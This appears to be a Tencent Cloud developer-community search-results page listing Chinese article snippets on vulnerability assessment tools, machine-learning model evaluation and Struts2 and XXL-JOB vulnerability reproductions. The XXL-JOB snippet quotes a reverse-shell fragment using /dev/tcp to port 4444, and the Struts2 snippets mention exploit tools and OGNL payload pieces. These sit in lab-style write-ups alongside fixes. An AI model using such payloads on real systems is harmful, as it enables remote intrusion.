- 综合排序
- 最热优先
- 最新优先
- 来自专栏科技云报道
漏洞管理受重视，企业如何做好漏洞评估？
那么，针对漏洞管理，企业应当如何做好漏洞及安全风险评估工作呢？ 很多企业直到成为网络攻击的受害者，方知网络安全的重要性，但已为时已晚，危害已经产生。 针对漏洞评估 企业能做什么？ 对于企业而言，及时发现自身设备及网络的安全漏洞，是进行安全防护的重要前提。 以下措施或许能够帮助到进行漏洞评估的企业。 1.与利益相关者沟通 在进行漏洞评估时，很多人认为扫描过程是其中最重要的部分，但有时并非如此。 与利益相关者进行及时有效的沟通协商也是关键。 2.确定安全评估的范围和规模 在确定了利益相关者之后，所有成员必须通过协作确定安全评估的范围和规模，包括设备、网络、服务或其他。 重视漏洞管理，做好漏洞评估，将为企业网络安全建设带来事半功倍的效果。
2.7K20编辑于 2022-04-16 - 来自专栏Chasays
音频质量评估-2
音频质量评估-1：之前主要学习了音视频的编码和解码原理，和测试音频质量的方法。接下来继续学习下当前 短视频 领域的 视频质量测试方法。 Convert the images to grayscale grayA = cv2.cvtColor(imageA, cv2.COLOR_BGR2GRAY) grayB = cv2.cvtColor (imageB, cv2.COLOR_BGR2GRAY) # 5. 延时 网络因子 --- 带宽， 网络拥塞 除此之外呢，就是对视频画面也就是视频帧观感的评估， 业界有主观和客观的。 这种评估标准适合与线上无原始参考视频序列的无线和IP视频业务，或者输入和输出差异化的模型，比如说视频增强，视频合并等场景 测试框架 目前知晓的有2个，一个 QoSTestFramework，一个是Netflix
1.7K10编辑于 2021-12-06 - 来自专栏机器学习/数据可视化
模型评估方法-2
评估方法 在实际中，通常需要通过实现对学习器的泛化误差进行评估并进而做出选择。需要使用一个测试集来测试学习器对新样本的判别能力，然后以测试误差近似作为“泛化误差”。 在S上进行训练模型，在T上进行测试和评估误差，作为对泛化误差的估计。注意点： 训练/测试集合的划分应该尽量保持数据分布的一致性，避免因为数据划分过程而引入额外的偏差。 比如S中350个正例，350个反例；T中150个正例，150个反例 即使确定了划分比例之后，不同的划分方法仍然对模型的评估造成缺别。 交叉验证法 现将数据集合D划分成k个大小相似的互斥子集D_1,D_2,…,D_k。每个子集尽量保持数据分布的一致性，即从D中分层采样得到。 交叉验证法评估结果的稳定性和保真性在很大程度上是取决于k值，其最常用的是10，称之为10折交叉验证法。 交叉验证也需要随机使用不同的划分重复p次，最终的评估结果是p次k折验证的平均值。
85210发布于 2021-03-02 - 来自专栏FreeBuf
Amazon Inspector：基于云的漏洞评估工具
关于AWS Inspector Amazon Inspector是一种自动化安全评估服务，可根据Amazon云中的合规性评估已部署资源的安全漏洞。 AWS Inspector是一项非常重要的安全评估服务，因为它会生成自动报告，其中包含了所选资源的详细结果。它会根据漏洞的严重程度对漏洞进行优先级排序，从而使你可以轻松了解哪些软件需要立即进行修补。 在本文中，我们将了解AWS Inspector如何与EC2实例通信以评估服务器的安全性。我们还将学习如何配置AWS inspector以执行自动化安全评估任务。 而AWS inspector则是在所有EC2实例中安装一个代理，然后在内部检查所有可能的漏洞，并提供包含建议缓解措施的详细报告。。 下面给出了配置AWS Inspector所涉及的步骤摘要： 登录EC2实例 在EC2实例上配置inspector agent 通过AWS console配置评估目标 配置评估模板 配置评估规则 执行评估
2.7K30发布于 2019-08-26 - 来自专栏FreeBuf
2023版漏洞评估工具Top10
前言 对于发现资产中已知漏洞、配置不当等问题的工具，大家习惯性称之为“漏洞扫描”工具，但随着技术演进，很多工具越来越智能，逐渐具备分析总结能力，因此将它们称为“漏洞评估”工具似乎更准确。 大多数漏洞评估工具都能覆盖常规漏洞，例如OWASP Top10，但一般都各有所长。常见的区分维度包括部署灵活性、扫描速度、扫描准确度以及与流程管理、代码开发等平台的整合性。 Nikto2（Web Server） 传送门 https://cirt.net/Nikto2 Nikto2是一个开源的web server扫描器，可发现风险文件、程序、错误配置。 主要功能 漏洞评估； 访问公共漏洞数据库； OpenSCAP Base提供经NIST认证的命令行扫描工具，以及图形用户界面便于使用； OpenSCAP Daemon可根据SCAP标准对基础设施进行持续扫描 而OpenVAS是Nessus的一个开源分支，功能丰富，漏洞来源广泛，可对传统端点和网络进行大规模的漏洞评估。
2.7K20编辑于 2023-02-24 - 来自专栏云基础安全
Web风险评估：腾讯云Web漏洞扫描
一、认识腾讯云Web漏洞扫描 Web 漏洞扫描是用于监测网站漏洞的安全服务，为企业提供 7*24 小时准确、全面的漏洞监测服务，并为企业提供专业的修复建议， 从而避免漏洞被黑客利用，影响网站安全。 了解腾讯云Web漏洞扫描： https://cloud.tencent.com/product/cws image.png ---- 二、Web漏洞扫描器价值 目前的大多数应用都是web应用，http web应用漏洞就是利用这个合法的通路，采用SQL注入、跨站脚本、表单破解等应用攻击方式来获取服务器的高级权限。在目前的网络环境下，威胁最大的漏洞形式就是web应用漏洞，通常是攻击者攻陷服务器的第一步。 常见的漏洞包括SQL注入、跨站脚本攻击、和编码漏洞等，表单破解主要是针对服务器用户的弱口令破解。 Web漏洞扫描以黑客视角，通过定期扫描，监测、发现Web应用漏洞，并提供修复建议，帮助加强业务系统安全性，大幅减少Web应用漏洞暴露给网站及Web业务带来的风险问题。
7.7K00发布于 2018-09-09 - 来自专栏信数据得永生
Kali Linux 秘籍 第五章 漏洞评估
第五章 漏洞评估 作者：Willie L. Nessus 允许我们攻击很多种类的漏洞，它们取决于我们的版本。我们也需要评估的目标漏洞列表限制为针对我们想要获取的信息类型的漏洞。 我们也需要评估的目标漏洞列表限制为针对我们想要获取的信息类型的漏洞。这个密集中，我们会配置 Nessus 来发现目标上的网络漏洞。这些漏洞针对主机或网络协议。 5.6 安装、配置和启动 OpenVAS OpenVAS，即开放漏洞评估系统，是一个用于评估目标漏洞的杰出框架。它是 Nessus 项目的分支。不像 Nessus，OpenVAS提供了完全免费的版本。 5.7 OpenVAS - 发现本地漏洞 OpenVAS 允许我们攻击很多种类的漏洞，它们取决于我们的版本。我们也需要评估的目标漏洞列表限制为针对我们想要获取的信息类型的漏洞。
1.3K10编辑于 2022-11-27 - 来自专栏耕耘实录
几款Linux系统漏洞扫描、评估工具简介
二、Nessus Nessus是目前全世界最多人使用的系统漏洞扫描与分析软件。总共有超过75,000个机构使用Nessus 作为扫描该机构电脑系统的软件。 Nessus会时常更新，且具有全面报告、主机扫描以及实时漏洞搜索的功能。但是，Nessus也可能会出现误报和漏报。 这是一款收费软件，对于一般用户有7天的使用时间。 官方网站为：nessus.org 三、OpenVAS OpenVAS （Open Vulnerability Assessment System，开放式漏洞评估系统）是一套可用于扫描漏洞和全面漏洞管理的工具和服务系统 Nikto 不仅可用于检查 CGI 漏洞，还可以躲避的方式运行，以便躲避入侵探测系统。Nikto 所提供完整的文档资料，在运行程序前，应当仔细查核。 在稍后的文章中我们再进行深入探讨（https://cirt.net/nikto2-docs/index.html）。
4.9K30发布于 2018-12-20 - 来自专栏小鹏的专栏
机器学习-2：MachineLN之模型评估
那么我的问题是： （1）为什么要评估模型？ （2）评估模型有哪些方法？ （3）不同的方法针对什么问题？ （4）根据评估的结果如何调优？ （5）根据评估结果怎么判定模型训练完成？ （2）评估模型有哪些方法？ 在（2）中回答过了。 （4）根据评估的结果如何调优？（都是基于深度学习的，?） 当训练集的效果（准确率）上不去，和贝叶斯估计（人的表现）存在一定差距的时候： （1）增加模型的复杂度。 还有像样本预处理： （1）归一化：img/255.0，img-0.5, img*2，将数据转化为[-1,1]. （2）减去均值除以方差。 （3）减去样本各通道的均值。 机器学习-1：MachineLN之三要素 2. 机器学习-2：MachineLN之模型评估 3. 机器学习-3：MachineLN之dl 4. 机器学习-4：DeepLN之CNN解析 5.
63020编辑于 2022-05-09 - 来自专栏网络安全615
漏洞复现 - - -Struts2(s2-045)远程命令执行漏洞
二，s2-045漏洞形成分析 CVE编号：CVE- 2017- 5638 POST请求发送数据 功能：获取WEB路径,任意命令执行,反弹shell和文件上传 首先，我们先对比一下修复前与修复后的版本 ，可使远程攻击者通过构造的OGNL表达式，执行任意代码 在TextParseUtil.java中找到return parser 发现在这调用了ognl的方法，这就是漏洞形成的原因 三，s2-045 漏洞复现 Struts2漏洞利用扫描工具及其环境 Structs2高危漏洞exp的扫描利用工具（2018） 链接：https://pan.baidu.com/s/1rOMjz-7xOYGyJdh4pdddCQ 提取码：aero 漏洞环境 链接：https://pan.baidu.com/s/1w7yAmprETRfPNiF5mJ8Rdg 提取码：5b1r 部署s2-045漏洞环境 .multipart/form-data 再运用漏洞检查工具检测出了 S2-045漏洞
3.4K20编辑于 2022-11-19 - 来自专栏OneMoreThink的专栏
漏洞实战(2)：XXL-JOB默认密钥漏洞
2、危害 攻击者可以对执行器所在的服务器进行任意命令执行，从而获得执行器所在服务器的权限。 /dev/tcp/10.58.81.108/4444 0>&1", 4、防御 修改accessToken的默认值，调度中心和执行器的值需保持一致，例如将accessToken修改为cGqJjTqH2VMB2R1 ： sed -i 's/default_token/cGqJjTqH2VMB2R1/g' /usr/local/xxl-job-2.4.0/xxl-job-admin/src/main/resources /application.properties sed -i 's/default_token/cGqJjTqH2VMB2R1/g' /usr/local/xxl-job-2.4.0/xxl-job-executor-samples ，成功修复漏洞。
4.6K10编辑于 2024-10-15 - 来自专栏Tommonkey
Struct2系列漏洞
“SSM”所代替，具体原因出来性能方面的提高，还要就是struct2的漏洞实在是太多，像国内BAT都被坑了一波，更别说ZF机关。 OGNL表达式 struct2系列漏洞最开始是使用的OGNL表达式造成非法调用，OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写，他是一个开源项目。 表达式 靶场演示 声明：靶场与相关POC,EXP来源与vulhub s2-001远程代码执行漏洞 该漏洞因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value ()%7D 靶场演示 s2-015命令命令执行 漏洞产生于配置了 Action 通配符 *，并将其作为动态值时，解析时会将其内容执行 OGNL 表达式，例如： <package name="S<em>2</em>- OGNL表达式计算，导致远程命令执行<em>漏洞</em>。
2K21编辑于 2023-03-20 - 来自专栏世荣的博客
搭建漏洞环境-实战-2
Web服务有个很有名的词: LAMP(1.Linux 2.Apache 3.Mysql 4.PHP) 比如一个网站的发帖留言功能，在网页提交，PHP将你的留言提交到数据库中，PHP登陆数据库调用你所有的留言 image.png 2.打开Apache服务 2.打开Apache服务 /etc/init.d/apache2 start /etc/init.d/apache2 status #使用start打开Apache 服务，顺便用status查看是否顺利打开 或者是这样也可以 cd /etc/apache2 systemctl restart apache2 systemctl status apache2 image.png image.png 2.运行php -v可以看到php是配置好的 image.png (注意:如果是7.3版本的mysql要改成mysqli,这里我们是7.4.5) 3.MySQL 1.同上Kali虚拟机中有 image.png 2.打开MySQL服务 2.打开MySQL服务 cd /etc systemctl start mysql systemctl status mysql 或者这种方式也可以: sudo
47120编辑于 2022-03-18 - 来自专栏依乐祝
SQL Server数据库漏洞评估了解一下
SQL Server Management Studio 17.4或更高版本的SSMS中提供了SQL Server漏洞侦测（VA）功能，此功能允许SQL Server扫描您的数据库以查找潜在的安全漏洞， 实战演练 要运行漏洞侦测，只需选择我们需要扫描的数据库，然后右键单击并选择“任务”。在这里，您将看到漏洞评估选项接着选择扫描漏洞。 我真的很喜欢这个特性，并且它是一个方便的脚本，用于以后评估其他服务器的健康状况时使用。它甚至给了我们一个小的复制按钮，以复制出脚本和选项打开它在查询窗口。 ? 基线允许您对结果报告中的错误结果进行接收，这样在下次漏洞扫描的时候这个错误的结果就不会出现在错误列表里面了。 ? 总结 SQL Server漏洞评估是评估数据隐私、安全性和遵从性标准的一个非常好的第三方工具，并且非常容易使用。纸上得来终觉浅，还不赶紧尝试一下，看看数据库存在哪些可以提升的地方吧。
1.4K30发布于 2018-12-28 - 来自专栏GIS与遥感开发平台
分类模型的评估指标 | 混淆矩阵（2）
遥感影像分类评估 书接上回，今天我们来看一看遥感影像分类是如何进行评估的。 01 概念 首先我们先了解一下什么是遥感影像分类。 对遥感影像分类结果进行评估就是一个通过比较检验样本与分类结果的符合程度来确定分类准确度的过程。 02 精度与准确度 在刚刚的概念中我们也了解到，评估是确定分类准确度的一个过程。 2 ---结果 kappa系数的计算结果处于（-1，1）之间，但一般情况下其结果处于（0，1）之间，且可分为五个级别来表示一致性： （0，0.2】表现为极低一致性； （0.2，0.4】表现为一般一致性； =20/(20+5+2)≈74% 3 ---用户精度 user accuracy=20/（10+10+20）=50% 4 ---错分误差 commission error =（10+10）/40 =1 -user accuracy=50% 5 ---漏分误差 omission error =（5+2）/27 =1-producer accuracy ≈26% 6 ---kappa系数 Po=0.53
3.9K30编辑于 2022-04-29 走进“乌云”教科书书里的漏洞（2）【负数支付漏洞】
0x01 漏洞解析在常规的支付流程中，系统会对支付金额进行严格校验，以确保交易的合理性与安全性。然而，当支付系统在设计或编码过程中存在缺陷时，就可能出现允许用户将总价修改为负数并成功支付的情况。 黑客一旦发现这类漏洞，便可以通过篡改支付请求中的数据，将商品总价改为负数。这样一来，不仅能免费获取商品，甚至可能让商家倒贴钱，给商家带来巨大的经济损失。下图为乌云找到的漏洞。 0x02 漏洞复现本次使用靶场连接：http://www.loveli.com.cn:12531/点击购买物品，然后确认购买提示余额不足获取数据包修改为负数，发现钱包金额反向增长修改为负数-999，出现 flag0x03 漏洞修复方法前端与后端双重校验：前端需对用户输入的价格、数量等参数进行初步校验，限制参数的合理范围（如价格不能为负数、数量不能小于 1），但不能仅依赖前端校验。
39410编辑于 2025-08-18- 来自专栏机器学习算法工程师
《机器学习》笔记-模型评估与选择（2）
章节目录 经验误差与过拟合 评估方法 性能度量 比较检验 偏差与方差 个人觉得对于初学的同学，一开始便谈论模型评估和选择可能不太合适。建议这个章节可以快速阅读，有大概的轮廓和线条即可。 2 评估方法 通常，我们可以通过实验测试来对学习器的[泛化误差]进行评估，并进而做出选择。 我们假设测试样本是从样本真实分布中[独立同分布]采样而来。 ，从而降低了评估结果的保真性。 交叉检验中的“留一法”使用的训练集与初始化数据集相比只少了一个样本，这就使得在绝大多数情况下，留一法中被实际评估的模型与期望评估的用D训练出的模型很相似。因此，留一法的评估结果往往被认为比较准确。 另外，留一法的评估结果也未必永远比其他评估方法准确。 自助法 2.3 我们希望评估的是用D训练出的模型。
1.5K60发布于 2018-03-06 - 来自专栏音视频技术
在DropboxEdge网络上评估BBRv2
/ 剧透警告：BBRv2比BBRv1慢，但这是一件好事。 在2017年发布的博客文章“优化web服务器以实现高吞吐量和低延迟”中，我们评估了BBRv1在我们的edge网络上的拥塞控制的效果，结果显示它非常棒: 在2017年BBR实验期间桌面客户端的下载带宽 自从那以后 最近的Linux内核还包括对新发现的CPU漏洞的缓解措施。我们强烈建议不要禁用它们(特别是在边缘上!)，所以要准备好承受CPU使用率的打击。 特别是像ethtool和iproute2这样的软件包。 然而，在我们的测试中，我们并没有看到BBRv1和BBRv2之间的CPU使用率有任何可测量的差异，但这可能是由于BBRv2启用了相当多的调试代码(目前:) BBRv1vs BBRv2上的Idle CPU
2.6K30发布于 2020-01-17 - 来自专栏安恒信息
解密：Struts2漏洞及其补丁漏洞“曝光”纪实
这是自2013年Struts2（s2-016）命令执行漏洞大规模爆发之后，该服务时隔三年再次爆发大规模漏洞。该漏洞也是爆出的最严重安全漏洞。 在6月3日，安恒研究院对Struts2 S2-033漏洞分析发现：最新高危漏洞官方修复方案无效。 漏洞发生后，安恒信息通过第一时间对Apache发布Struts2 S2-033远程代码执行漏洞的修复方案经过安恒研究院研究人员的测试，确认该修复方案并不完整，依然会导致恶意攻击者对Struts2应用发起远程代码执行攻击 发现此次Struts2漏洞修复方案无效的就是安恒研究院技术高手“Nike.zheng”,此前4月份，就是他就曾向Apache官方提交了Struts2高危安全漏洞（CVE-2016-3081,S02-32 面对此次Struts2 S2-033漏洞修复方案并不完整，安恒信息安全工程师详实的记录下分析漏洞的情况，并给出了相应的防护方案：客户可以使用明鉴web应用弱点扫描器和网站安全监测平台在线更新策略来检测是否自身应用存在漏洞
1.6K50发布于 2018-04-10 对抗样本防御研究中的评估缺陷与代码漏洞分析
该论文包含数学上不可能的声明，未遵循对抗鲁棒性评估的推荐指南，且其自身图表就提供了评估方法错误的所有必要证据。调查发现，该论文的评估代码存在漏洞。仅修改一行代码即可攻破防御，将模型准确率降为0%。 在将漏洞告知作者后，作者提出了新的防御组件来防止此攻击。但这个未在原始论文中描述的新组件存在第二个漏洞。同样，通过修改一行代码，可以攻破这个修改后的防御。作者表示正在为第二次攻击制定另一个修复方案。 针对特定防御论文的故事：论文被顶级会议接受后，作者在被告知漏洞后修改防御机制，但修改后的版本仍存在漏洞，且无法提供修复细节。这两个问题并非该论文独有。 故事二：存在漏洞的论文回到今年发表的防御论文，这是一个九头蛇般的论文故事：每次攻破当前描述的防御，它就会长出一个需要评估的新防御组件。攻破防御当防御评估存在严重缺陷时，通常很容易攻破。 在评估防御方面，撰写了一篇又一篇关于如何执行此类评估的论文。甚至写了一篇主要目标是帮助评审者知道防御评估何时足够好的论文。
35210编辑于 2025-08-26
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号